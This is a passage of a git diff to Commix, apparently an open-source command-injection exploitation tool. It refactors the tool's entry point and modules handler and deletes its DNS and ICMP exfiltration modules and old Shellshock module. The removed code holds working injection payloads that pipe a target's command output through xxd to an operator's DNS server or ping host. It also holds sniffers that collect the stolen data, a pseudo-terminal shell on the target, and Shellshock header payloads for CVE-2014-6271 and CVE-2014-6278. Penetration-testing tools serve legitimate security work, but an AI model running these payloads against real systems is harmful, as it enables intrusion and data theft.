prompt_skip_vulnerable_host(url) + + if settings.SKIP_VULNERABLE_HOST: + url_num += 1 + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + href_count_suffix + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: + if not check_for_injected_url(url): + settings.SKIP_VULNERABLE_HOST = None + http_request_method = checks.check_http_method(url) + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + url_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] URL - " + http_request_method + " " + url)) + message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] " + next_url = common.read_input(message, default="Y", check_batch=True) + if next_url in settings.CHOICE_YES: + info_msg = "Testing URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_url in settings.CHOICE_NO: + perform_check = False + if is_last_href: + raise SystemExit() + else: + break + elif next_url in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_url) + pass + if perform_check: + if settings.CRAWLING: + split_url = _urllib.parse.urlsplit(url) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): + edit_msg = "Edit URL [default: " + url + "] (Warning: blank fields detected): " + url = common.read_input(edit_msg, default=url, check_batch=True) + split_url = _urllib.parse.urlsplit(url) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + url = _urllib.parse.urlunsplit(split_url._replace(query=crawler.random_fill_blank_fields(split_url.query))) + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) + menu.options.url = url + init_injection(url) + try: + response, url = url_response(url, http_request_method) + if response is not False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) + main(filename, url, http_request_method) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + except (Exception, SystemExit): + pass + else: + url_num += 1 + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] Skipping URL - " + http_request_method + " " + url)) + + if is_last_href: + raise SystemExit() + + except KeyboardInterrupt: + try: + checks.user_aborted(filename, url) + except NameError: + abort_msg = "User quit (Ctrl-C pressed)." + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + raise checks.exit() + + except EOFError: + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise checks.exit(settings.EXIT_FAILURE) + + except SystemExit as err_msg: + raise checks.exit(err_msg.code) + +""" +A run, including the ways it can end. -except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise SystemExit() +Named here rather than left in 'commix.py', because an installed 'commix' command never reads that +file - the two would otherwise be the same program ending in two different ways. +""" +def entry_point(): + try: + run() + except SystemExit as err_msg: + # Raised as it was given: a caller that reads the exit code is told whether the run ended the + # way it meant to, and a bare one is zero as it always was. + from src.utils import logs + logs.finalize_report(err_msg.code) + raise SystemExit(err_msg.code) + except KeyboardInterrupt: + raise SystemExit() + except IndentationError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except: + from src.utils import common + from src.utils import logs + logs.finalize_report(settings.EXIT_FAILURE) + common.unhandled_exception() -# eof \ No newline at end of file +# eof diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/modules/dns_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py deleted file mode 100755 index 94c760a0ab..0000000000 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ /dev/null @@ -1,264 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -import threading -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.convert import hexdecode -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The DNS exfiltration technique: -exfiltrate data using a user-defined DNS server [1]. - -[1] http://www.contextis.com/resources/blog/data-exfiltration-blind-os-command-injection/ -""" - -def querysniff(pkt): - if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: - if ".xxx" in pkt.getlayer(DNS).qd.qname: - print(hexdecode(pkt.getlayer(DNS).qd.qname.split(".xxx")[0])) - -def signal_handler(signal, frame): - os._exit(0) - -def snif(dns_server): - info_msg = "Started the sniffer between you and the DNS server '" - info_msg += Style.BRIGHT + Fore.YELLOW + dns_server + Style.RESET_ALL + "'." - print(settings.print_bold_info_msg(info_msg)) - while True: - sniff(filter="port 53", prn=querysniff, store = 0) - -def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): - # DNS exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c 16 | while read line; do host $line.xxx " + dns_server + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)) - - if not menu.options.data: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - request = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) - request = _urllib.request.Request(url=url, data=data) - - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(2) - sys.stdout.write("\n" + Style.RESET_ALL) - -def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - - except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(dns_server, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - #signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(dns_server, )).start() - #time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(dns_server, http_request_method, url, vuln_parameter, technique) - - -def dns_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." - print("\n" + settings.print_critical_msg(err_msg)) - os._exit(0) - - if not menu.options.data: - #url = parameters.do_GET_check(url, http_request_method) - vuln_parameter = parameters.vuln_GET_param(url) - request = _urllib.request.Request(url) - headers.do_check(request) - - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - dns_server = menu.options.dns_server - technique = "DNS exfiltration module" - info_msg = "Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - exploitation(dns_server, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - dns_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py deleted file mode 100755 index 3d4ecb63de..0000000000 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client -import threading -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The ICMP exfiltration technique: -Exfiltrate data using the ping utility. - -[1] http://blog.ring-zer0.com/2014/02/data-exfiltration-on-linux.html -[2] http://blog.curesec.com/article/blog/23.html -""" - -add_new_line = True -exfiltration_length = 8 - -def packet_handler(Packet): - global add_new_line - if Packet.haslayer(ICMP): - Data = Packet.getlayer(ICMP).getlayer(Raw) - exfiltrated_data = Data.load[int(exfiltration_length):].replace(exfiltration_length * "\n","\n") - if exfiltrated_data.endswith("\n"): - add_new_line = False - sys.stdout.write(exfiltrated_data) - sys.stdout.flush() - -def signal_handler(signal, frame): - sys.stdout.write(Style.RESET_ALL) - exit(0) - -def snif(ip_dst, ip_src): - info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src - info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW - info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." - print(settings.print_bold_info_msg(info_msg)) - - while True: - sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC) - -def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): - global add_new_line - # ICMP exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - if not menu.options.data: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - req = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) - request = _urllib.request.Request(url=url, data=data) - - try: - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(3) - sys.stdout.write(Style.RESET_ALL) - if add_new_line: - print("\n") - add_new_line = True - else: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) - raise SystemExit() - - except _http_client.InvalidURL as err: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - except KeyboardInterrupt: - os._exit(1) - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(ip_dst, ip_src, )).start() - time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(http_request_method, url, vuln_parameter, ip_src, technique) - -def icmp_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - if not menu.options.data: - #url = parameters.do_GET_check(url, http_request_method) - request = _urllib.request.Request(url) - headers.do_check(request) - vuln_parameter = parameters.vuln_GET_param(url) - - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - technique = "ICMP exfiltration module" - info_msg ="Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - ip_data = menu.options.ip_icmp_data - - # Source IP address - ip_src = re.findall(r"ip_src=(.*),", ip_data) - ip_src = ''.join(ip_src) - - # Destination IP address - ip_dst = re.findall(r"ip_dst=(.*)", ip_data) - ip_dst = ''.join(ip_dst) - - exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - icmp_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 7772327969..1af6220f84 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,60 +3,38 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import sys - -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init + +""" +A module should reuse the shared core building blocks (requests/checks/shell_options/handler) instead of reimplementing them - see shellshock.py as the reference implementation. +""" + +# The registry lives in settings, so the option parser can read it without importing this. +MODULES = settings.MODULES """ Load modules """ def load_modules(url, http_request_method, filename): - - # Check if defined the ICMP exfiltration module - if menu.options.ip_icmp_data : - try: - # The ICMP exfiltration module - from src.core.modules.icmp_exfiltration import icmp_exfiltration - # The ICMP exfiltration handler - icmp_exfiltration.icmp_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - - # Check if defined the DNS exfiltration module - if menu.options.dns_server : - try: - # The DNS exfiltration module - from src.core.modules.dns_exfiltration import dns_exfiltration - # The DNS exfiltration handler - dns_exfiltration.dns_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - - # Check if defined the shellshock module - if menu.options.shellshock : - try: - # The shellshock module - from src.core.modules.shellshock import shellshock - # The shellshock handler - shellshock.shellshock_handler(url, http_request_method, filename) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() \ No newline at end of file + for name, (module_path, handler_name) in MODULES.items(): + if getattr(menu.options, name, False): + try: + module = __import__(module_path, fromlist=[handler_name]) + getattr(module, handler_name)(url, http_request_method, filename) + except ImportError as err_msg: + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + raise SystemExit(settings.EXIT_FAILURE) + +# eof diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a112c970c1..3db2243383 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -1,940 +1,471 @@ -#!/usr/bin/env python - -import re -import os -import sys -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import http_client as _http_client -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.core.requests import tor -from src.core.requests import proxy -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import bind_tcp -from src.core.shells import reverse_tcp -from src.core.requests import parameters -from src.core.requests import headers as log_http_headers -from src.core.injections.controller import checks - -default_user_agent = menu.options.agent - -""" -This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. -[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 -[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 -""" - -# Available HTTP headers -headers = [ -"User-Agent", -"Referer", -"Cookie" -] - -# Available Shellshock CVEs -shellshock_cves = [ -"CVE-2014-6271", -"CVE-2014-6278" -] - -""" -Available shellshock payloads -""" -def shellshock_payloads(cve, attack_vector): - if cve == shellshock_cves[0] : - payload = "() { :; }; " + attack_vector - elif cve == shellshock_cves[1] : - payload = "() { _; } >_[$($())] { " + attack_vector + " } " - else: - pass - return payload - -""" -Shellshock bug exploitation -""" -def shellshock_exploitation(cve, cmd): - attack_vector = " echo; " + cmd + ";" - payload = shellshock_payloads(cve, attack_vector) - return payload - -""" -Enumeration Options -""" -def enumeration(url, cve, check_header, filename): - - #------------------------------- - # Hostname enumeration - #------------------------------- - if menu.options.hostname: - cmd = settings.HOSTNAME - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # Retrieve system information - #------------------------------- - if menu.options.sys_info: - cmd = settings.RECOGNISE_OS - target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_os: - if target_os == "Linux": - cmd = settings.DISTRO_INFO - distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - cmd = settings.RECOGNISE_HP - target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - info_msg = "The target operating system is " + target_os - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # The current user enumeration - #------------------------------- - if menu.options.current_user: - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - if menu.options.is_root: - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "The current user is " + str(cu_account) - 